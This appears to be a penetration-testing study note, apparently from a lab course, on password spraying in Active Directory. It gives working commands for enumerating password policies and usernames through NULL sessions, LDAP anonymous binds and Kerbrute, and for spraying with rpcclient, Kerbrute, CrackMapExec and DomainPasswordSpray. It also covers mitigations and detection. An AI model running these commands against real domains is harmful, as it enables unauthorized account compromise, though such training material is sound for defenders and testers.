Password Spraying
If we fail to crack the hash.
Getting The Password Policy
We can try spraying password with caution so we don't lock-out accounts. If we can somehow get the password policy it will help us understand how we should go about password spraying.
With valid domain credentials, the password policy can be obtained remotely using tools such as CrackMapExec or rpcclient. For example:
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-polAnd without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind on a Domain Controller. SMB NULL sessions allow an unauthenticated attacker to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. For enumeration, we can use tools such as enum4linux, CrackMapExec, rpcclient, etc.
We can use rpcclient to check a Domain Controller for SMB NULL session access. For example:
rpcclient -U "" -N 172.16.5.5Once connected, we can issue an RPC command such as querydominfo to obtain information about the domain and confirm NULL session access. And for password policy we can use getdompwinfo.
We can also use enum4linux to get password policy:
enum4linux -P 172.16.5.5We can also use enum4linux-ng which is written in python and has added features like color codes and ability to output it in YAML or JSON:
enum4linux-ng -P 172.16.5.5 -oA ilfreightWe can also try to connect to the null session from Windows:
net use \\DC01\ipc$ "" /u:""Lets see some common errors while authenticating:
error 1331: account is disabled.
error 1326: password is incorrect.
error 1909: account locked-out (password policy)
LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. We still see this configuration from time to time as an admin may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such as windapsearch.py, ldapsearch, ad-ldapdomaindump.py, etc., to pull the password policy.
If we can authenticate to the domain from a Windows host, we can use built-in Windows binaries such as net.exe to retrieve the password policy. Or we can use PowerView:
Get-DomainPolicyIf password complexity is enabled, it means that a user must choose a password with 3/4 of the following: an uppercase letter, lowercase letter, number, special character.
This is the default password policy and many organization never change it:
Enforce password history
24 days
Maximum password age
42 days
Minimum password age
1 day
Minimum password length
7
Password must meet complexity requirements
Enabled
Store passwords using reversible encryption
Disabled
Account lockout duration
Not set
Account lockout threshold
0
Reset account lockout counter after
Not set
Creating User Name List
Our first step will be to create a username list for password spraying. There are multiple ways to enumerate for usernames such as:
By leveraging an SMB NULL session to retrieve a complete list of domain users from the domain controller
Utilizing an LDAP anonymous bind to query LDAP anonymously and pull down the domain user list
Using a tool such as
Kerbruteto validate users utilizing a word list from a source such as the statistically-likely-usernames GitHub repo, or gathered by using a tool such as linkedin2username to create a list of potentially valid usersUsing a set of credentials from a Linux or Windows attack system either provided by our client or obtained through another means such as LLMNR/NBT-NS response poisoning using
Responderor even a successful password spray using a smaller wordlist.If we have credentials for a domain user or SYSTEM access we can just query the AD for this information. Or we can use
CrackMapExec.Use LinkedIn or email harvesting.
We can use enum4linux to leverage both SMB NULL sessions and LDAP anonymous binds to get us the username list using:
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"We can also use crackmapexec leveraging SMB NULL session
crackmapexec smb 172.16.5.5 --usersNow to leverage LDAP anonymous bind to get usernames we can use ldapsearch using search filters:
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "We can also use windapsearch which is easier:
./windapsearch.py --dc-ip 172.16.5.5 -u "" -UIf we have no access at all from our position in the internal network, we can use Kerbrute to enumerate valid AD accounts for password spraying. This tool leverages Kerberos Pre-Authentication. This method does not generate Windows event ID 4625: An account failed to log on, or a logon failure which is often monitored for. The tool sends TGT requests to the domain controller without Kerberos Pre-Authentication to perform username enumeration. If the KDC responds with the error PRINCIPAL UNKNOWN, the username is invalid. Whenever the KDC prompts for Kerberos Pre-Authentication, this signals that the username exists, and the tool will mark it as valid.
Note: Using Kerbrute for username enumeration will generate event ID 4768: A Kerberos authentication ticket (TGT) was requested. This will only be triggered if Kerberos event logging is enabled via Group Policy.
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_usersNext, if we do have credentials we can use crackmapexec to get usernames:
sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --usersLet's get into Password Spraying!
From Linux:
We can do it using rpcclient by running it in a loop. The valid password will have "Authority Name" so we can grep for the word Authority:
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; doneWe can also use Kerbrute for example with password Welcome1:
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1We can also use crackmapexec and look for [+] for a valid login:
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +From Windows:
From a foothold on a domain-joined Windows host, the DomainPasswordSpray tool is highly effective. If we are authenticated to the domain, the tool will automatically generate a user list from Active Directory, query the domain password policy, and exclude user accounts within one attempt of locking out. So we got the usernames covered.
There are several options available to us with the tool. Since the host is domain-joined, we will skip the -UserList flag and let the tool generate a list for us. We'll supply the Password flag and one single password and then use the -OutFile flag to write our output to a file for later use.
PS C:\htb> Import-Module .\DomainPasswordSpray.ps1
PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinueMitigations
Multi-factor Authentication
Multi-factor authentication can greatly reduce the risk of password spraying attacks. Many types of multi-factor authentication exist, such as push notifications to a mobile device, a rotating One Time Password (OTP) such as Google Authenticator, RSA key, or text message confirmations. While this may prevent an attacker from gaining access to an account, certain multi-factor implementations still disclose if the username/password combination is valid. It may be possible to reuse this credential against other exposed services or applications. It is important to implement multi-factor solutions with all external portals.
Restricting Access
It is often possible to log into applications with any domain user account, even if the user does not need to access it as part of their role. In line with the principle of least privilege, access to the application should be restricted to those who require it.
Reducing Impact of Successful Exploitation
A quick win is to ensure that privileged users have a separate account for any administrative activities. Application-specific permission levels should also be implemented if possible. Network segmentation is also recommended because if an attacker is isolated to a compromised subnet, this may slow down or entirely stop lateral movement and further compromise.
Password Hygiene
Educating users on selecting difficult to guess passwords such as passphrases can significantly reduce the efficacy of a password spraying attack. Also, using a password filter to restrict common dictionary words, names of months and seasons, and variations on the company's name will make it quite difficult for an attacker to choose a valid password for spraying attempts.
Note: It is vital to ensure that your domain password lockout policy doesn’t increase the risk of denial of service attacks. If it is very restrictive and requires an administrative intervention to unlock accounts manually, a careless password spray may lock out many accounts within a short period.
Detection
Some indicators of external password spraying attacks include many account lockouts in a short period, server or application logs showing many login attempts with valid or non-existent users, or many requests in a short period to a specific application or URL.
In the Domain Controller’s security log, many instances of event ID 4625: An account failed to log on over a short period may indicate a password spraying attack. Organizations should have rules to correlate many logon failures within a set time interval to trigger an alert. A more savvy attacker may avoid SMB password spraying and instead target LDAP. Organizations should also monitor event ID 4771: Kerberos pre-authentication failed, which may indicate an LDAP password spraying attempt. To do so, they will need to enable Kerberos logging. This post details research around detecting password spraying using Windows Security Event Logging.
Last updated
Was this helpful?